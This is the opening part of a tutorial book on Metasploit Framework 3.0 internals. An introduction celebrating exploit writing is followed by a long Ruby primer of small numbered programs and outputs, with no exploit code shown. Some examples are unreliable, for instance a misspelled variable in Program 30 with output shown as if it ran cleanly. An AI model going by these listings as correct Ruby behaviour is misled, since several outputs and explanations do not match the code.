THE VOYAGE TO 0-DAY

Using the Metasploit Framework to Disprove Computer Security

Authored by	Vijay Mukhi
Credits	*Satyashil Rane* *Jignesh Patel* *Raviraj Doshi* *Sahir Hidayatullah* *Manish Saindane*

INTRODUCTION

In the computer security ecosystem, the exploit is king. There is certain mystique about the lines of code that can vanquish a system and entice it into doing ones bidding. These same lines of code embody the power that the exploit writer wields in the electronic world; the power to influence and control the code execution path of a program that someone else wrote to serve some entirely different purpose.

If one looks at the traditional exploit development process, or for that matter, analyzes the vast amount of proof-of-concept (PoC) code freely available; it becomes immediately apparent that a significant portion of this code is re-useable. For example, most buffer overflow exploits will have to construct a buffer with shellcode, and all remote exploits will have to call socket routines to launch the attack at the target across the network. As a result, most regular exploit writers maintain libraries of commonly used methods that they can plug in from exploit to exploit.

The Metasploit Framework goes far beyond that. While it does give the security researcher reliable libraries of code for everything from assembler routines to RPC methods and buffer conversion functions, it also gives us an engine which makes exploit code so modular that almost any parameter can be dynamically changed at runtime. This is no small feat when one considers that the traditional exploit is usually very static. It is precisely tailored to run just one particular payload on just one version of a service that runs on one specific version of an O/S. Heaven help you if you choose to change things around. The modularity and simplicity that the framework brings drastically simplifies the exploit development process and reduces the time taken to write reliable exploits as one can dip into a huge repository of stable, well-tested code that takes care of just about every task needed to create an exploit.

It is fast becoming an essential tool for anyone who deals with computer security at the blood and guts, non-theoretical plane. No matter what shade of hat you wear, if you don’t understand the framework beyond its simple use as an exploit execution engine, you are not doing justice to one of the most versatile weapons in your exploitation arsenal. In the future, we hope the framework will also become the unofficial standard for PoCs, essentially obsolescing the poorly written code we see posted to the likes of Bugtraq everyday.

The journey you are about to embark on is to learn the internals of the Metasploit Framework 3.0. This version of the framework consists of over 50,000 lines of Ruby code and our mission is to explain what each of these lines of code can do for you. As many may not be familiar with Ruby, it is appropriate that we first explain some aspects of Ruby as a programming language. It is a simple language to learn, and armed with its knowledge, one can get under the hood of the framework and into the minds of some of the best hackers of this generation.

RUBY – THE LANGUAGE

About

Ruby is an object-oriented, interpreted scripting language that has many similarities to Perl and Python. It is known for its simplicity especially with regard to syntax, as well as for its complete object-oriented-ness. It is also supported across a wide range of operating platforms, including UNIX, DOS, Windows 95/98/Me/NT/2000/XP, MacOS, BeOS, and OS/2.

As far as the choice of Ruby for the framework is concerned, it was selected primarily for four key features:

- *Ease of use*
- *Platform independent multi-threading*
- *Automated class constructions, allowing extensive code re-use.*
- *Existence of a native Windows interpreter*

A more detailed explanation for the selection of Ruby for the framework is given on page 6 of the Metasploit Developers Guide [1].

Getting Ruby & the Metasploit Framework

At the time of writing, the framework is still only officially working under Linux, with support for other operating systems planned in the near future. In order to start using it, you will have to install the Ruby interpreter.

Getting Ruby is fairly straightforward; in fact, many Linux distributions come with the package already installed. However, there are a couple of additional libraries that you will need to install to get the framework up and running under Linux:

- *The Ruby interpreter*
- *OpenSSL libraries for Ruby*
- *ERB libraries for Ruby*

This is easily achieved on Debian based distributions using the following command:

```
# apt-get install ruby1.8 liberb-ruby1.8 libopenssl-ruby1.8
Reading Package Lists... Done
Building Dependency Tree... Done
...
```

Similarly for RPM based systems such as Redhat or SuSE, a visit to http://www.rpmfind.net should find the specific RPMs required. Install these according to the specific method required by your particular distribution.

If you don't want to use binary packages, you can download the tarball from http://www.ruby-lang.org

[1] http://metasploit.com/projects/Framework/msf3/developers_guide.pdf

Getting the framework is extremely easy as well, simply visit the framework section of http://www.metasploit.com and download the tarball package. Copy it to the directory of your choice and untar it. For example:

```
# tar xvzf framework-3.0-alpha-r1.tar.gz
framework-3.0-alpha-r1/
framework-3.0-alpha-r1/data/
framework-3.0-alpha-r1/data/meterpreter/
framework-3.0-alpha-r1/data/meterpreter/ext_server_stdapi.dll
...
```

To check whether you managed to get it installed properly, change to the Metasploit directory and run Msfconsole. You should see output similar to this:

```
root@box:~# cd framework-3.0-alpha-r1/
root@box:~/framework-3.0-alpha-r1# ./msfconsole

                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
                           |_|


       =[ msf v3.0 (alpha release 1)
+ -- --=[ 44 exploits - 76 payloads
+ -- --=[ 7 encoders - 2 nops
       =[ 2 recon

msf >
```

If you see the *msf>* prompt, congratulations, you've successfully got the framework up and running!

Ruby Basics

Since the Metasploit framework is written in Ruby, it's probably best that we deal with a few Ruby basics before we get into the framework code. Ruby is extremely simple to pick up, especially if you're familiar with Perl or Python. If you're already conversant with the language, you can skip this chapter.

You can write Ruby code in any text editor, we prefer Vim (www.vim.org) as it has support for Ruby syntax highlighting, allowing us to catch syntactical errors early. The choice of text editors is too personal and political for us to recommend. Here is our first Ruby program, copy the code into a text editor and save it as *'program1.rb'*.

```
PROGRAM 1

   print "Hello Universe"

OUTPUT
Hello Universe
```

We run the program by typing '*ruby program1.rb*' in the console. There is a old tradition in C to let our first program display "Hello World", our first Ruby program displays "Hello Universe" as the scope of ruby we believe is larger than C.

The word '*print*' is a function or a method, even though method is the preferred nomenclature. This method displays anything we pass to it in double inverted commas. Any words placed within double quotes are called a string. The method *print* displays the string we passed to it on STDOUT.

```
PROGRAM 2

   print 420

OUTPUT
420
```

A number does not have to be placed in double quotes to get displayed.

```
PROGRAM 3

   print 420+100

OUTPUT
```

```
520
```

Not using double quotes makes print evaluate the expression passed to it. If you put the expression in quotes, ruby treats it as a string, and this is what we get:

```
PROGRAM 4

   print "420+100"

OUTPUT
420+100
```

Data Types

```
PROGRAM 5

   print foobar

OUTPUT
Program5.rb:1: undefined local variable or method `foobar' for
main:Object (NameError)
```

The good news is that we get an error after a long time. Errors are a good thing as they help you learn. Ruby is fairly descriptive with its error messages, so get acquainted with them. The word 'foobar' is not surrounded with quotes and thus Ruby assumes it is a variable.

```
PROGRAM 6

   foobar = 420
   print foobar

OUTPUT
420
```

We create a variable *'foobar'* by setting its value to some number in this case 420 using the = sign. This is how simple it is to create a variable and give it a value. Where ever we can use a number or string we can also use a variable instead.

```
PROGRAM 7

   foobar = 420
   print foobar,"\n"
   foobar = 430
   print foobar,"\n"

OUTPUT
420
430
```

We now set *'foobar'* to 430 using the same = sign. This is why *'foobar'* is called a variable, it value varies from 420 to 430. The print can take multiple values or parameters separated by commas. In this case we are printing the value of the variable and then printing a newline.

```
PROGRAM 8

   foobar = 420
   print foobar,"\n"
   foobar = foobar + 10
   print foobar,"\n"

OUTPUT
420
430
```

Here we are adding 10 to the value of *'foobar'* which was 420 giving it a new value of 430.

```
PROGRAM 9

   foobar = 420
   print foobar,"\n"
   foobar = "hell"
   print foobar,"\n"

OUTPUT
420
hell
```

There is no concept of a data type in ruby, thus the variable *'foobar'* once had a value of 420 then a value of hell. One is a string value the other a numeric value. There is no way in ruby to specify the type of a variable like we can in other programming languages.

```
PROGRAM 10

   print("hello",420)

OUTPUT
hello420
```

There are many ways of skinning a cat and hence we could have surrounded the word print with round brackets if we like programming in a conventional manner. Most programming languages like C, C++, Java and C# insist that you call a method using *()* to place the parameters passed. Ruby does not give a damn.

```
PROGRAM 11

   print "hell" * 3

OUTPUT
hellhellhell
```

Ruby does not believe in surprising you or giving you errors. We cannot multiply hell by 3 so ruby does the next obvious thing; it simply repeats hell three times.

The whole objective of ruby is to allow us to have fun while programming and the computers are not masters, but programmers are in charge.

```
PROGRAM 12

   print 'hell\n'
   print 'bye'

OUTPUT
hell\nbye
```

There are some subtle issues of programming ruby that we will deal with further on. When using the single quote the *\n* is taken in a literal sense as two individual characters. When we use the double quotes it is treated as a newline character. Special meaning is read into the characters. Ruby does more interpretation with double quotes and less with single quotes.

Conditional Execution

We will now deal with the conditional operators in Ruby that allow you to make your code branch based on different conditions. The most basic conditional statement is the *'if'* statement.

```
PROGRAM 13

   i = 10
   if i == 10
     print "true"
   end

OUTPUT
true
```

We first create a variable *'i'* and then set its value to 10. We then use an *'if'* statement to execute code if the variable *'i'* is equal to 10. In this case since the variable *'i'* has a value of 10, *'true'* gets displayed.

```
PROGRAM 14

   i = 100
   if i == 10
     print "true"
   else
     print "false"
   end

OUTPUT
false
```

The value of the variable *'i'* is now 100. Thus, the *'if'* statement evaluates as false and the *'else'* code block now gets called instead of the '*if*'. This is why '*false*' gets displayed.

```
PROGRAM 15

   i = 100
   if i = 10
     print "true",10
   else
     print "false"
   end

OUTPUT
program15.rb:2: warning: found = in conditional, should be ==
true10
```

We replace the double == (comparison operator) with a single = (assignment operator) and now ruby does the obvious, it first gives us a warning telling us that we should use a == instead of =. But then it goes and changes the value of variable '*i*' to 10, this satisfies the condition of the *'if'* statement, and '*true'* is printed.

```
PROGRAM 16

   5.times {|i|
     case i
     when 1
       print "One\n"
     when 3
       print "Three\n"
     else
       print "Nothing\n"
     end
   }

OUTPUT
Nothing
One
Nothing
Three
Nothing
```

The *'case'* statement allows you to make different decisions based on the value of a variable. In this case, we iterate 5 times, and whenever the value is 1 or 3, we print the number in words; otherwise, we print *'nothing'*. The same thing can be accomplished using *'if'* and *'else'* statements.

Loops and Iterators

```
PROGRAM 17

   5.times do
     print "hi"
   end

OUTPUT
hihihihihi
```

Read the above line in English. The number 5 has a method *'times'* which repeats the '*do end'* block of code 5 times. This may take time getting used to, but makes more sense than a conventional *'for'* or a *'while'* loop offered by other programming languages.

```
PROGRAM 18

   5.times do |i|
     print i , ","
   end

OUTPUT
0,1,2,3,4,
```

In between the pipe symbols, we place the name of a variable of our liking. This variable will be filled up as the return value of the *'times'* function at each iteration. The *'do'* block gets executed 5 times and each time the value of the variable '*i*' starts from 0 and goes up to 4.

```
PROGRAM 19

   3.times { print "hi" }

OUTPUT
hihihi
```

The same rules apply as before, the *{}* get executed 3 times. The *'times'* wants a code block which it can execute. It does not matter whether you use *do end* or *{}*.

```
PROGRAM 20

   i = 1
   while i <= 5 do
     i = i + 1
     next if i == 3
     print i
   end

OUTPUT
2456
```

When you're uncertain about the number of times to execute a code block, the '*while*' loop is usually used. The '*next*' statement is like a '*continue*' in the C/C++ world. The minute the variable *'i'* becomes 3, the '*next*' gets executed, transferring control back to the start of the while loop. Thus, the value 3 is not displayed.

```
PROGRAM 21
```

```
   i = 1
   while i <= 5 do
     i = i + 1
     break if i == 3
     print i
   end

OUTPUT
2
```

The *'break'* statement is similar to the *'next'* in that it also interrupts the execution of the code block. However, instead of transferring control back to the start of the loop, it exits the loop completely.

```
PROGRAM 22

   array = ["foo", "bar", "foobar"]
   array.each {|aa|
     print aa, "\n"
   }

OUTPUT
foo
bar
foobar
```

Another extremely useful way of iterating is using the *'each'* method. This method can be used with a wide variety of objects, including arrays and hashes. In program 21, we define an array (more on these later) which contains 3 objects, then we use the *'each'* method to iterate through the array. *'Each'* returns the current element of the array through the |*aa*| 'or' operator.

```
PROGRAM 23

   4.upto(8) { |i| print i, " "}

OUTPUT
4 5 6 7 8
```

There is not much difference between the '*times*' and '*upto*' methods. In the above case the value of *'i'* starts from 4 and goes on till 8. The '*upto'* method goes from a starting value up to an ending value.

```
PROGRAM 24

   5.downto(2) {|i| print i, " "}

OUTPUT
5 4 3 2
```

Like the '*upto*' the '*downto*' does things in reverse. We start at 5 and come down to 2. Thus we can count up or down.

```
PROGRAM 25

   5.step(10,2) {|i| print i, " "}

OUTPUT
5 7 9
```

The '*step*' method goes a step further and allows us to start at a value and end at another value like '*upto*' but now we can decide the step that the value increments each time. We start at 5 go to 7 and 9 and here we stop as incrementing any more will take the value to 11, one more than 10 the value we have specified.

Methods

```
PROGRAM 26

     foobar

OUTPUT
Program26.rb:1:  undefined  local  variable  or  method  `foobar'  for
main:Object ( NameError)
```

For some reason ruby does not like the word *'foobar'* at all and hence gives us an error. Let us look what it's trying to say.

```
PROGRAM 27

     def foobar
       print "foobar\n"
     end

     foobar

OUTPUT
foobar
```

We now create our own function or method called *'foobar'*. To do this we use the keyword *'def'* followed by the name of the method *'foobar'* in this case. We end the method with the keyword *'end'* and place all our lines of code within the *'def'* and the *'end'* keywords.

When we now run the above program we get no error and we have successfully created and executed our own method *'foobar'*. It is in this vein that the method *'print'* and all other ruby methods have been created.

```
PROGRAM 28

     def foobar
       print "foobar\n"
     end

     foobar 100

OUTPUT
program28.rb:5:in  `foobar':  wrong  number  of  arguments  (1  for  0)
(ArgumentError) from program28.rb:5
```

We now pass one parameter to the method *'foobar'* which does not know how to receive such a parameter and hence we will get an error. The error message makes it very clear what the error is. It says 1 for 0, which means that we passed one parameter where the system expected zero.

```
PROGRAM 29

     def foobar param1
       print param1
     end

     foobar 100

OUTPUT
100
```

To allow our function to accept parameters all that we do is add the name of the parameter *'param1'* after the name of the function *'foobar'*. Thus when we call *'foobar'* with a value 100, we get 100 printed out as the output.

```
PROGRAM 30

     def foobar param1, param2
       print param1," ",pram2, "\n"
     end

     foobar 100,"Hello"
     foobar("Universe", 300)

OUTPUT
100 Hello
Universe 300
```

We create method *'foobar'* with two parameters *'param1'* and *'param2'* and separate them with commas. We can call the method *'foobar'* using either *( )* brackets or without any brackets. The choice is personal as mentioned before.

```
PROGRAM 31

     def foobar()
       p block_given?
     end

     foobar
     foobar {}

OUTPUT
false
true
```

The method *'block_given'* tells us whether we have called our method with a block of code or not. In the first case method *'foobar'* has been passed no code and hence *'block_given?'* returns *false*. In the second case we are passing a code block, even though it is empty, the method returns *true*.

PROGRAM 32

```
     def foobar(a)
       if block_given?
         yield(a + 10)
       else
         a
       end
     end

     b = foobar(100)
     p b.class,b
     b = foobar(100) { |z| z + 100 }
     p b.class,b
```

OUTPUT

```
Fixnum
100
Fixnum
210
```

The method *'foobar'* is now passed a number as a parameter. If there is no code called with the method the *'else'* gets called which simply returns the same number back. If we have a code block along with the method call, the *'yield'* gets called which passes a parameter to the code block as *'z'* which is 100 plus 10. We take this value 110 and now add 100 more to it in the code block. Thus the final value returned is 210.

PROGRAM 33

```
     class Foo
       def bar
         print self.class, ",", self.object_id, "\n"
       end
     end

     a = Foo.new
     a.bar
     print a.class, ",", a.object_id, "\n"
     print self.class, ",", self.object_id, "\n"
```

OUTPUT

```
Foo,20692944
Foo,20692944
Object,20760876
```

Self is a reference to itself. Thus *self.class* displays the name of the class *'Foo'* and the *object_id* is 20692944. This is the same *object_id* that we get when we use *a.object_id*. Thus self is a pointer to itself. Using *object_id* by itself refers to super class of type *Object* that all of us are part off.

```
PROGRAM 34

     def foobar s1 , s2 , s3 ,s4
       print s1 , "," , s2 , "," , s3 , "," ,s4 ,"\n"
     end

     foobar 1, 2, 3 ,4
     foobar 1 , *[ 2 , 3 , 4]
     foobar *(1..4).to_a
     foobar 1 , [ 2 , 3 , 4]

OUTPUT
1,2,3,4
1,2,3,4
1,2,3,4
Program34.rb:8:in `foobar': wrong number of arguments (2 for 4)
(ArgumentError)
        from program34.rb:8
```

The method *'foobar'* takes 4 parameters. The first call of *'foobar'* is with 4 parameters and all is ok. In ruby if we call a method with the wrong number of parameters we get an error. In the second call there are only 2 parameters, 1 and an array of 3 members. We do not get an error as the * in front of the array does the reverse. It expands the array into 3 separate parameters and thus *'foobar'* is now called with 4 parameters.

We are showing off in the third call of foobar. Here we start with a range object that has the values 1, 2 3 and 4. We use the *'to_a'* method to convert it into an array and then the * to break it up into 4 individual parameters.

In the last call of method *'foobar'* we get an error as we are calling it with only 2 parameters and the error message tells us that we have supplied 2 out of 4 parameters. Thus the * in a method definition takes individual parameters and places them into an array. In a method call it expands an array into individual parameters.

```
PROGRAM 35

     def Foo
     end
     Foo

OUTPUT
Program35.rb:4: uninitialized constant Foo (NameError)
```

A method must start with a lower case. Thus we get an error as we have created a method with a capital letter F. A method can also start with an underscore.

```
PROGRAM 36

     def foobar?
       true
     end

     def foobar
       "hi"
     end

     p foobar?
     p foobar

OUTPUT
true
"hi"
```

A method can also end with a *?*. Thus *'foobar'* and *'foobar?'* are two separate methods. Any method that end with a *?* returns *true* or *false*. This is ruby's way of telling us that the method returns a logical value. Methods can also end in a *!* or a =.

```
PROGRAM 37

     def foo
     end

     p Object.private_methods

OUTPUT
["rand",  "load",  "split",  "initialize",  "remove_const",  "proc",
"fail",  "printf",  "gsub!",  "String",  "private",  "attr_accessor",
"exec",    "sprintf",    "method_added",    "iterator?",    "catch",
"readline",  "sub",  "callcc",  "remove_method",  "lambda",  "fork",
"inherited",  "caller",  "print",  "Rational",  "Array",  "chop!",
"format",  "method_removed",  "scan",  "readlines",  "block_given?",
"throw",  "warn",  "require__",  "gsub",  "loop",  "getc",  "trap",
"attr",        "include",        "exit!",        "initialize_copy",
"singleton_method_added",    "undef_method",    "exit",    "putc",
"system",      "chomp!",      "method_undefined",      "trace_var",
"global_variables", "p", "remove_instance_variable", "`", "chop",
"syscall",    "Integer",    "public",    "attr_reader",    "test",
"singleton_method_removed",                          "alias_method",
"remove_class_variable",  "included",  "abort",  "puts",  "sleep",
"eval",   "untrace_var",   "local_variables",   "srand",   "select",
"binding", "open", "chomp", "raise", "protected", "attr_writer",
"sub!",  "Float",  "define_method",  "extended",  "method_missing",
"singleton_method_undefined", "gets", "at_exit", "set_trace_func",
"foo"]
```

Any time we create a method outside of a *class* ruby places this method in the *class* called *Object*. The only problem is that this method becomes a private method of the *class*.

```
PROGRAM 38

     def foobar
       p "foobar"
     end

     class Zzz
     end

     a = Zzz.new
     foobar
     a.foobar

OUTPUT
"foobar"
program38.rb:10:    private    method    `foobar'    called    for
#<Zzz:0x2a683d8> (NoMethod
Error)
```

We now create a *class 'Zzz'* and add no code in the *class*. Writing *'a.foobar'* now gives us an error telling us that we are calling a private method *foobar*. There is no method in *class 'Zzz'* at all. As all classes are derived from *Object,* we can use the object instance *'a'* to call *'foobar'*. The error is that as it is private method we cannot call it from an instance.

```
PROGRAM 39

     def foobar
       p "foobar"
     end

     class Zzz
       public :foobar
     end

     a = Zzz.new
     a.foobar

OUTPUT
“foobar”
```

All that we need to do is simply make the method *'public'* by using the statement *'public'*. From now on the method *'foobar'* can be used by an instance of the *'Zzz' class*.

```
PROGRAM 40

     class Zzz
     end

     a = Zzz.new

     def a.foobar
       p "foobar"
     end

     a.foobar
     b = a
     b.foobar
     c = Zzz.new
     c.foobar

OUTPUT
"foobar"
"foobar"
Program40.rb:14:  undefined  method  `foobar'  for  #<Zzz:0x2a68180>
(NoMethodError)
```

A small point we did not tell you about singleton methods was that if we set *b = a* then *b* looks and feels like *a*. The line *b.foobar* gives us no error as object *b* is the same as object *a*. Just to cross check using object *c* to call the method *foobar* gives us an error.

```
PROGRAM 41

     def foobar
       class Zzz
       end
     end

OUTPUT
program41.rb:2: class definition in method body
```

A method cannot contain a class or method or instance method definitions.

```
PROGRAM 42

     def foo
       def bar
         p "foobar"
       end
       bar
     end

     foo
     bar

OUTPUT
"foobar"
"foobar"
```

We have created a method *foo* and within this method we have created another method *bar*. When we call the method *foo,* we call *bar* and the method *bar* displays *foobar*. Calling *bar* by itself gives us no error.

When we run the command `p Object.private_methods` we see the method *foo* but no method called *bar*. We can place anything inside a method that we can place in a begin/end block. This include s exception handling statements like *rescue, else* and *ensure*.

```
PROGRAM 43

     b = 1

     def foobar(a = b + 1)
       p a
     end

     foobar

OUTPUT
Program43.rb:3:in `foobar': undefined local variable or method `b'
for main:Object (NameError)
        from program43.rb:7
```

Methods allow us to let parameters have default values. We have created a variable called b and set the default value of the parameter *a to b plus 1*. We get an error as the default value can be set only using another parameter name not a variable. Thus if we had a parameter *b* within the list of parameters for *foobar* like *foobar (b, a = b+1)* we would get no error.

```
PROGRAM 44

     $b = 1

     def foobar(a = $b + 1)
       p a
     end

     foobar

OUTPUT
```

```
2
```

The other way is to use a global variable which can be used anywhere and everywhere.

```
PROGRAM 45

     $b = 1
     p $b.object_id
     b = 10
     p b.object_id
     p $b

OUTPUT
3
21
1
```

b and a *$b* are separate entities with different object-id's. Changing the value of *b* does not change the value of *$b*.

```
PROGRAM 46

     def foobar(a , *b , *c)
     end


OUTPUT
program46.rb:1: syntax error
def foobar(a , *b , *c)
                     ^
```

```
PROGRAM 47

     def foobar(a , *b , c)
     end

OUTPUT
qwe.rb:1: syntax error
def foobar(a , *b , c)
                     ^
```

Two examples of error with the optional array argument. In the first case we have two of them and we get a syntax error as we ruby cannot divide half the array argument into b and the other half into c. In the second case we have the optional argument as the second and not the last.

Here we get an error even though ruby could place all but the last arguments in the parameter b. The point to be noted is that we get a syntax error and not a actual error message made for the occasion. Thus Ruby does not believe that we would make such an error.

```
PROGRAM 48

     def foobar(a)
       p a
       print a.class, "," , a.length , "\n"
     end

     foobar('aa' => 10 , 'bb' => 20)
     foobar({'aa' => 10 , 'bb' => 20})
     foobar(['aa' => 10 , 'bb' => 20])

OUTPUT
{"bb"=>20, "aa"=>10}
Hash,2
{"bb"=>20, "aa"=>10}
Hash,2
[{"bb"=>20, "aa"=>10}]
Array,1
```

The method foobar is defined to except only a single parameter. We have passed in the method call two hash values. Ruby creates a hash of two and passes it as a single entity to the method. Thus method *foobar* believes that it is passed one hash with two members.

In the second case we pass a single hash with two members. For the parameter *a* it makes no difference. Thus multiple individual hashes are made into one joint big hash. A call of method *foobar* like *foobar({'aa' => 10} , {'bb' => 20})* gives us an error as the parameters are two hashes and *foobar* accepts a single value.

In the last case we have an array as a parameter. This array may contain two individual hashes. The parameter *a* is an array of length 1 which is a hash. This hash in turn contains two individual hash key pairs. In the *metasploit* code we have to deal with such complex situations. So we will revisit such an example again.

```
PROGRAM 49

     class Foo
       Bar1 = 10

       def Foo.Bar1
         p "Bar1"
       end

       def Bar
         p "Bar"
       end
     end

     a = Foo.new
     a.Bar
     p Foo::Bar1
     Foo::Bar1()
     Foo.Bar1
     a::Bar

OUTPUT
"Bar"
10
"Bar1"
"Bar1"
program49.rb:18:   #<Foo:0x2777ee0>   is   not   a   class/module
(TypeError)
```

In class *Foo* we have one instance method *Bar* with a capital *B* and we get no error. Another class method *Bar1* again with a capital *B* and no problem. We have a constant *Bar1* and we set it to *10*. We create a new instance of *Foo* and we can call the instance method using the syntax *a.Bar*.

When ever we use the *'::'* sign the left is a constant class name and the right a constant. Thus *Foo::Bar1* represents the constant *Bar1* and we see its value *10.* When we use a *()* after a name, Ruby prefers the name to be a method and thus class method gets *Bar1* executed and not the constant.

We can use the *'.'* to execute a class method which is the syntax used for *new*. Thus for class method we can use the *'.'* or the *'::'* provided we have the class name constant on the left. If we have an instance name like *a* then using the syntax *a::Bar* will give us an error. The rule is when using instance entities use the *'.'* otherwise use *'.'* or *'::'*

```
PROGRAM 50

     def foobar
       return
       p "hi"
     end

     p foobar

OUTPUT
Nil
```

No code gets called after a *return*. In ruby we do not get an error if we place code after a *return*. The code does not get executed but no error results like in other languages which at least give us a warning. If we place no value after a return, the return value is nil.

```
PROGRAM 51

     def foobar
       return  1,"hi",3.1
     end

     b = foobar
     p b
     p b.length
     p b.class
     b,c = foobar
     p b.class
     p b
     p c.class
     p c

OUTPUT
[1, "hi", 3.1]
3
Array
Fixnum
1
String
"hi"
```

The method *foobar* returns three values of different types. The first time we call method *foobar* Ruby sees that we have a single variable accepting the values. So it bunches up all the values in an array of length *3* and returns this array. The next time we call method *foobar*, Ruby realizes that we have variables waiting to get at the return value, so it smartly puts the *1* in *b*, *hi* in variable *c* and eats up the third float number. This is how ruby returns multiple values.

```
PROGRAM 52

     class Foo
       def foobar s1
         print "Foo foobar one " , s1 , "\n"
       end
     end

     class Bar < Foo
       def foobar s1
         super
         super("bye")
         super(s1)
         print "Bar foobar one " , s1 , "\n"
       end
     end
     a = Bar.new
     a.foobar("First")

OUTPUT
Foo foobar one First
Foo foobar one bye
Foo foobar one First
Bar foobar one First
```

We have a class *Foo* that has one method *foobar* that takes a parameter *s1*. In class *Bar* which is derived from class *Foo* we define another method *foobar* that takes one parameter. We create a object a of type *Bar* and call the method *foobar* from it. The call to *super* will call the base class *foobar* and even though we have used no parameters, it will be called with the same parameters that we called *foobar*.

Lots of times we see code where *super* is passed no parameters, but internally the base class *super* gets called with all parameters. We can use the *super(s1)* which does the same thing. So most of the time we call the base class method first and pass it the same parameters and thus *super* as the short form is used. We can however pass whatever parameters we like to *super*.

```
PROGRAM 53

     class Foo
       def foobar(s1)
         print "Foo foobar one " , s1 , "\n"
       end

       def foobar(s1,s2)
         print "Foo foobar two " , s1 , "," , s2 ,  "\n"
       end
     end

     a = Foo.new
     a.foobar("hi", "bye")
     a.foobar("no")

OUTPUT
Foo foobar two hi,bye
Program53.rb:13:in `foobar': wrong number of arguments (1 for 2)
(ArgumentError)
     from program53.rb:13
```

For some reason Ruby does not support method overloading. Thus we cannot have a method with the same name but with a different number of parameters. C++ and the like support method overloading, Ruby says that I will recognize only one method the last one created. Thus we have only one method foobar which takes two parameters and thus the error.

The same error whether the methods are in a class or outside a class.

```
PROGRAM 54

     class Foo
       def [] s1
         print "In [] " , s1, "\n"
         34
       end

       def []= s1,s2
         print "In [] “, s1, "," , s2 , "\n"
       end
     end

     a = Foo.new
     p a[10]
     a[11] = 45

OUTPUT
In [] 10
34
In [] 11,45
```

Any class can use the array notation as it is simply a method. Thus *p a[10]* calls the *[]* method with the parameter *s1* as *10.* As we return *34,* the *p* method displays *34*. In the second case the *a[11] = 45* calls the *[]*= method. The first parameter is the array index and the second the value. What code we write here is none of Ruby’s business. In the *.Net* world this feature is called an indexer.

```
PROGRAM 55

     class Foo
     end

     a = Foo.new
     b = Foo.new
     c = a + b

OUTPUT
program55.rb:6:   undefined   method   `+'   for   #<Foo:0x27784f8>
(NoMethodError)
```

As we keep trying to tell you and us that everything in Ruby is a method so is the *plus*. There is no *plus* in our class *Foo* that can add two *Foo* objects so let’s write one that can.

```
PROGRAM 56

     class Foo
       def initialize s1
         @a1 = s1
       end

       def +( s1)
         p s1.inspect
         p self.inspect
         "XYZ"
       end
     end

     a = Foo.new("AAA")
     b = Foo.new("BBB")
     p a + b

OUTPUT
"#<Foo:0x2777e68 @a1=\"BBB\">"
"#<Foo:0x2777e98 @a1=\"AAA\">"
"XYZ"
```

We have first created a constructor that set instance variable *a1* to the string *AAA* or *BBB* passed. We then define a + method that takes only one parameter. The *self* object represents the object *a* that is calling the method *plus* and parameter *s1* represents the object *b.* The inspect method verifies what we have said. We return a string which is what gets displayed. This is how we can overload an operator.

```
PROGRAM 57

     class Foo
       def foobar s1,s2
         print  s1,"," , s2 , "\n"
       end

       def bar s1, *s2
       end

       def foo *s1
       end
     end

     a = Foo.new
     b = a.method('foobar')
     p b.class
     b.call('hi', 'bye')
     b['hi','bye']
     p b.arity
     b = a.method('bar')
     p b.arity
     b = a.method('foo')
     p b.arity
     c = b.to_proc
     p c.class
```

```
OUTPUT
Method
hi,bye
hi,bye
2
-2
-1
Proc
```

We have a class *Foo* that has one method *foobar* that takes two parameters. We use the instance method called *method* from the class object passing it a parameter which is a method name. This method returns a *Method* object that has a method called *call* which lets us call a method passing it parameters.

Thus *b* now is of type *Method* and represents an instance method called *foobar* in class *Foo*. Some people who do not like the *call* method can use the *[]* brackets instead. The *[]* are a synonym for the method called *call.*

The *arity* method tells us how many parameters a method can take. The method *foobar* takes two parameters and thus it is an open and shut case and *b.arity* returns *2*. The problem starts with a method like *bar*. It has one fixed parameter *s1* and the second has a *.

The *arity* method in these cases takes the – of the fixed parameters and subtracts *one* form it. Thus the *arity* on *bar* gives us *–1 –1* or *–2*. The method *foo* has one variable parameter only and no fixed ones and thus we get *–0 –1* or *–1* as the answer. The last method of the class called *Method* is *to_proc* which returns to us a *proc* object.

```
PROGRAM 58

     class Foo
       def method_missing(a , *b)
         print "method missing " , a , "," , b , "\n"
       end

       def foo
         print "foo\n"
       end
     end

     a = Foo.new
     a.foobar(10,20,30)
     a.bar('bye')
     a.foo

OUTPUT
```

```
method missing foobar,102030
method missing bar,bye
foo
```

The method called *method_missing* is unique. We have one method in the class *Foo* called *foo* that we call. Whenever we call a method that does not exist in the class, the system checks for a method called *method_missing*. If this method is present, it gets called. The first parameter is the name of the method that the user called that does not exist and the second is an array of parameters that were passed to the method.

```
PROGRAM 59

     def foobar ( a , *b)
       print b , "," , b.length, "," , b.class , "\n"
     end

     foobar 1
     foobar 1,2
     foobar 1,2,3,4

OUTPUT
,0,Array
2,1,Array
234,3,Array
```

The * can be placed before the last parameter of a method. This makes sure that all the extra parameters passed to the method are collected together and given as one big array. Thus in the first case the array is zero large as it has no members. In the second the value *2* is converted into an array and the length of the array is *1*. In the last call the array size is *3* and it contains *2 3* and 4.

```
PROGRAM 60

     print 1.+(3)

OUTPUT
4
```

```
PROGRAM 61

     aa = gets

     if aa == "hi\n"
       def foobar
         p "one"
       end
     else
       def foobar
         p "two"
```

```
	  end
	end

	foobar

OUTPUT
c:\rubycode>program61.rb
hi
"one"

c:\rubycode>program61.rb
bye
"two"
```

The good thing about ruby is that everything is dynamic. We have an *if* statement that checks the value of a variable *aa* which we set using *a gets*. If we wrote *hi* then we get one method *foobar* or else we get another method. This is how we can dynamically generate code.

```
PROGRAM 62

	aa = gets

	if aa == "hi\n"
	  def foobar
	    p "one"
	  end
	else
	  def bar
	    p "two"
	  end
	end

	foobar

OUTPUT
c:\rubycode>program62.rb
hi
"one"
c:\rubycode>program62.rb
bye
C:/rubycode/program62.rb:13:  undefined  local  variable  or  method
`foobar' for main:Object (NameError)
```

Now we create two methods *foobar* or *bar* depending upon the value of the *aa* object. When we run the program and type *hi* we get no error as the method *foobar* gets created. When we now type *bye,* an error results as the method name is now *bar.* This is how we can create code on the fly.

```
PROGRAM 63

	def aa
```

```
        p "in aa"
        23
      end

      print "aa=",aa,"\n"
      aa = 30
      print "aa=",aa,"\n"
      print "aa=",aa(),"\n"

OUTPUT
"in aa"
aa=23
aa=30
"in aa"
aa=23
```

